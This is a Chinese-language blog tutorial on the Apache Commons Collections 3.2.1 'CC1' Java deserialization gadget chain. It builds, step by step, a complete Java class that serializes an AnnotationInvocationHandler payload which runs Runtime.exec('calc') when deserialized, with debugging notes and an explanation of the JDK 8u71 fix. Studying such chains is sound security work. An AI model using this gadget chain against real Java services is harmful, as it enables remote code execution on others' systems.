apsry

去留无意,宠辱不惊

0%

Java反序列化-CommonCollections链一(CC0)

Java反序列化-CommonCollections链一(CC0),InvokerTransformer

Java反序列化-CommonCollections链一(CC0)

准备工作

动态代理对象每执行一个方法的时候,都会被转发到实现InvocationHandler接口类的invoke方法来及性能调用

链接:

https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/

思路

image-20220312220431025

环境

把勾给关了

由于IDEA中Debug就利用toString,在过程中会调用代理类的toString方法从而造成非预期的命令执行

image-20220312221257992

下载sun包导入

https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

Apache Commons Collections

解压,再导入

image-20220312223941122

image-20220312224000056

再把目录加进去

image-20220312224042907

就可以看到源代码的java文件了

漏洞版本3.2.1

https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

maven里面下载包

点download source来下载java包

image-20220312224612239

实验环境:jdk:1.7 (8u71之后已修复不可利用)

为什么1.8中不行

img

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,即不会对原先的map进行数值修改的操作了,也就不会触发RCE了

导入jdk1.7

设置成1.7相关即可

https://blog.csdn.net/h996666/article/details/81871304

image-20220313130532405

分析复现

Transformer

alt+ctrl点击看里面的类

image-20220312224919803

跟进里面的InvokerTransformer ,可以看到,一个可控的反射写法

image-20220312225440698

这个时候我们模仿他写一个调用exec的代码,也即

image-20220312230149370

可以看到是成功了的。

InvokerTransformer

进一步思考对InvokerTransformer传参,来执行命令

也即传参数名,参数类型和参数值,最后再调用里面的transform方法

image-20220312230649570

也即构造

1
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

可以看到命令执行了

image-20220312231121715

这个时候我们也就得到了危险方法

进一步思考谁调用了transform

image-20220313092302682

跟进去

image-20220313092337450

找调用 usages(用法)

image-20220313092417838

找不同名调用transfrom

比如这些

image-20220313092742323

这里我们主要看map这个方法,我们这里分析transformedmap,定位到checkSetValue这个点

image-20220313094715400

可以看TransformedMap,完成的一个装饰操作,这边再往上追一下

我们最后是调用transform

image-20220313095838973

所以需要valueTransformer

而复制函数是protected

image-20220313095928271

所以再往上用decorate来赋值

image-20220313100016795

所以我们这么写

1
2
3
InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object ,Object> map = new HashMap<>();
TransformedMap.decorate(map,null,invokerTransformer);

然后就是调用checkSetValue,这个时候看checkSetValue在哪调用

image-20220313100439609

可以看到被AbstractMapEntryDecorator所调用

image-20220313100521591

进一步看setValue,也就是说修饰的map被遍历的时候会调用setValue,也就是我们构造遍历即可

所以构造

1
2
3
4
5
6
7
InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object ,Object> map = new HashMap<>();
map.put("key","aaa");
Map<Object,Object> transfromedMap =TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transfromedMap.entrySet()){
entry.setValue(r);
}

可以看到代码是执行了的

image-20220313101424480

这个时候也就是说有遍历数组,然后调用setVaule方法就可以执行了。

也就是找到了setValue,最后是进一步找readObject里面调用setValue,或者再往前找一条链

image-20220313101624241

AnnotationInvocationHandler

这里继续找setValue,可以看到找到了AnnotationInvocationHandler这个类符合我们的要求

image-20220313101931206

这里分析他的构造函数

可以看到我们可以实例化一个AnnotationInvocationHandler,然后传参,但是AnnotationInvocationHandler是class,不能直接调用,所以需要用反射去调用

image-20220313102218635

所以可以这么写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
   Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstrutor.setAccessible(true);
Object o = annotationInvocationHandlerConstrutor.newInstance(Override.class,transfromedMap);
serialize(o);
unserialize("ser.bin");


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
/*
写对象,序列化
*/
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
/*
读对象,反序列化
*/
return obj;
}

但是,问题来了

1
Runtime r = Runtime.getRuntime();

r是我们自己写的,而AnnotationInvocationHandler的setValue是这样的,显然是不符合条件的,而且还得满足两个if语句,还有就是Runtime不能序列化,得反射来解决。

image-20220313103637163

先解决不能序列化问题

1
2
3
4
5
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");

正常是这么写,改成InvokerTransform的

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

ChainedTransformer

可以看到这里连续三次调用了transform,所以想到ChainedTransformer(递归调用)来简化下

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

最后就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
HashMap<Object ,Object> map = new HashMap<>();
map.put("key","aaa");
Map<Object,Object> transfromedMap =TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstrutor.setAccessible(true);
Object o = annotationInvocationHandlerConstrutor.newInstance(Override.class,transfromedMap);
serialize(o);
unserialize("ser.bin");

调试下,主要是这两个if

image-20220313112657980

下断点,一路跟下去,发现第一个if是get name,把map.put(“value”,”aaa”);里面加value即可过第一个if

也即Target的常用方法value

image-20220313122312778

然后就是我们得value改成我们checkValue里要传的runtime才能执行命令,这里我们想到ConstantTransformer这个类

ConstantTransformer

主要看这里,这个类是不管输入的是什么,都返回的是iConstant的值,所以我们可以用这个类的transformer

image-20220313121459812

最后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
// Runtime r = Runtime.getRuntime();
//反射调用exec方法
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r, "calc");

// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// HashMap<Object ,Object> map = new HashMap<>();
// map.put("key","aaa");
// Map<Object,Object> transfromedMap =TransformedMap.decorate(map,null,invokerTransformer);
// for(Map.Entry entry:transfromedMap.entrySet()){
// entry.setValue(r);
// }
// Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class);
// annotationInvocationHandlerConstrutor.setAccessible(true);
// Object o = annotationInvocationHandlerConstrutor.newInstance(Override.class,transfromedMap);
// serialize(o);
// unserialize("ser.bin");

// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime",null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);

HashMap<Object ,Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transfromedMap =TransformedMap.decorate(map,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstrutor.setAccessible(true);
Object o = annotationInvocationHandlerConstrutor.newInstance(Target.class,transfromedMap);
serialize(o);
unserialize("ser.bin");
//ConstantTransformer


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
/*
写对象,序列化
*/
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
/*
读对象,反序列化
*/
return obj;
}
}

最后执行成功

image-20220313130438054

还有一条CC1链子见

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

参考:

https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.999.0.0

https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#3b11f6b6